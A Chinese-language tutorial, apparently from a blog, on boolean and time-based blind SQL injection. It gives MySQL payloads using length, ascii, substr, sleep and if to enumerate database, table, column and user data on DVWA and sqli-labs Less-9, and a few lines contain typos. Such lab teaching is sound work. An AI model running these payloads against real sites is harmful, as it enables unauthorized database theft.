盲注

简介: 在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。


-select id,name from product where id=1 and 1=1



布尔型盲注步骤和语句


1.判断当前数据库名长度与数据库名称

and select length(database())>n  //判断数据库名长度

and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值


2.判断数据库的表长度与表名


and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  //判断第一行表名的长度


and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n  //截取第一行表名的第m个字符串转换为ascii值判断具体为多少

3.判断数据库的字段名长度与字段名称


and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n  //判断表名中字段名的长度


adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值


4.判断字段的内容长度与内容字符串

and length((select user from users limit 0,1)) >1 //判断字符串内容长度


and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值


时间盲注

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

- select id,name from product where id=1 and sleep(2)



基于时间盲注sleep函数


-在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒


-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止


观察以下语句


第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s


第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s







基于时间盲注if函数



逻辑判断函数if()


if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句


-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);


此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1




基于时间的盲注案例(sqli-lab less-9)


枚举当前数据库名

-    id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+


枚举当前数据库的表名


-    id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+


或者利用if函数

-     id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+


枚举当前数据库表的字段名


-    id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+


枚举每个字段对应的数据项内容


-    id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

相关文章
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
214 0
|
SQL 安全
35分钟了解sql注入-盲注(三)
🍀学习sql注入之盲注操作
617 0
|
SQL 安全 数据库
4 SQL注入盲注
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
4 SQL注入盲注
|
9月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
100 0
|
9月前
|
数据库
基于时间盲注
基于时间盲注
70 2
|
SQL 数据库 开发者
时间盲注
延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP。
469 0
|
9月前
|
SQL 安全 关系型数据库
05GET注入-盲注
【1月更文挑战第6天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,05GET注入-盲注 ,请遵守网络安全法!请遵守网络安全法!请遵守网络安全法!请勿破坏公共网络网络安全!
|
SQL 数据库
SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注
页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解
184 0
SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注
|
SQL 数据库
布尔盲注
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
157 0
布尔盲注
|
SQL 安全 网络协议
网站被SQL注入攻击盲注如何解决
能否理解并利用SQL首注是区分一般攻击者和专业攻击者的一个标准。面对严密禁用详细错误消息的防御,大多数新手会转向下一目标。但攻破SQL盲注漏洞并非绝无可能,我们可借助很多技术。它们允许攻击者利用时间、响应和非主流通道(比如DNS)来提取数据。以SQL查询方式提问一个返回TRUE或FALSE的简单问题并重复进行上千次,数据库王国的大门便通常不容易发现SQL盲注漏洞的原因是它们隐藏在暗处。一旦发现漏洞后,我们就会有们能支持多种多样的数据库。大量的漏洞可用。要明确什么时候应选择基于响应而非时间的利用和什么时候使用重量级的非主流通道工具,这些细节可节省不少时间。
531 0
网站被SQL注入攻击盲注如何解决

热门文章

最新文章